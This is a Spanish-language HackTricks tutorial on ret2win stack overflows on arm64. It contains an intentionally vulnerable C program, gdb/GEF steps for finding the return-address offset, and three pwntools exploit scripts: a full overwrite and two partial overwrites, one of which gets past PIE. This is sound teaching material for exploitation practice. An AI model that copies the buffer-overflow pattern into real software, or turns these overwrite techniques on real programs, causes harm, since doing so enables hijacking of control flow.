Ret2win - arm64
Reading time: 5 minutes
tip
Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apoya a HackTricks
- Revisa los planes de suscripci贸n!
- 脷nete al 馃挰 grupo de Discord o al grupo de telegram o s铆guenos en Twitter 馃惁 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a HackTricks y HackTricks Cloud repos de github.
Encuentra una introducci贸n a arm64 en:
Code
#include <stdio.h>
#include <unistd.h>
void win() {
printf("Congratulations!\n");
}
void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}
int main() {
vulnerable_function();
return 0;
}
Compilar sin pie y canario:
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie
Encontrar el offset
Opci贸n de patr贸n
Este ejemplo fue creado usando GEF:
Inicia gdb con gef, crea un patr贸n y 煤salo:
gdb -q ./ret2win
pattern create 200
run
.png)
arm64 intentar谩 regresar a la direcci贸n en el registro x30 (que fue comprometido), podemos usar eso para encontrar el desplazamiento del patr贸n:
pattern search $x30
.png)
El desplazamiento es 72 (9x48).
Opci贸n de desplazamiento de pila
Comience por obtener la direcci贸n de la pila donde se almacena el registro pc:
gdb -q ./ret2win
b *vulnerable_function + 0xc
run
info frame
.png)
Ahora establece un punto de interrupci贸n despu茅s del read()
y contin煤a hasta que se ejecute el read()
y establece un patr贸n como 13371337:
b *vulnerable_function+28
c
.png)
Encuentra d贸nde se almacena este patr贸n en la memoria:
.png)
Luego: 0xfffffffff148 - 0xfffffffff100 = 0x48 = 72
.png)
No PIE
Regular
Obt茅n la direcci贸n de la funci贸n win
:
objdump -d ret2win | grep win
ret2win: file format elf64-littleaarch64
00000000004006c4 <win>:
Explotar:
from pwn import *
# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Prepare the payload
offset = 72
ret2win_addr = p64(0x00000000004006c4)
payload = b'A' * offset + ret2win_addr
# Send the payload
p.send(payload)
# Check response
print(p.recvline())
p.close()
.png)
Off-by-1
En realidad, esto va a ser m谩s como un off-by-2 en el PC almacenado en la pila. En lugar de sobrescribir toda la direcci贸n de retorno, vamos a sobrescribir solo los 煤ltimos 2 bytes con 0x06c4
.
from pwn import *
# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Prepare the payload
offset = 72
ret2win_addr = p16(0x06c4)
payload = b'A' * offset + ret2win_addr
# Send the payload
p.send(payload)
# Check response
print(p.recvline())
p.close()
.png)
Puedes encontrar otro ejemplo de off-by-one en ARM64 en https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/, que es un verdadero off-by-one en una vulnerabilidad ficticia.
Con PIE
tip
Compila el binario sin el argumento -no-pie
Off-by-2
Sin un leak no sabemos la direcci贸n exacta de la funci贸n ganadora, pero podemos conocer el desplazamiento de la funci贸n desde el binario y sabiendo que la direcci贸n de retorno que estamos sobrescribiendo ya apunta a una direcci贸n cercana, es posible filtrar el desplazamiento a la funci贸n win (0x7d4) en este caso y simplemente usar ese desplazamiento:
.png)
from pwn import *
# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Prepare the payload
offset = 72
ret2win_addr = p16(0x07d4)
payload = b'A' * offset + ret2win_addr
# Send the payload
p.send(payload)
# Check response
print(p.recvline())
p.close()
tip
Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apoya a HackTricks
- Revisa los planes de suscripci贸n!
- 脷nete al 馃挰 grupo de Discord o al grupo de telegram o s铆guenos en Twitter 馃惁 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a HackTricks y HackTricks Cloud repos de github.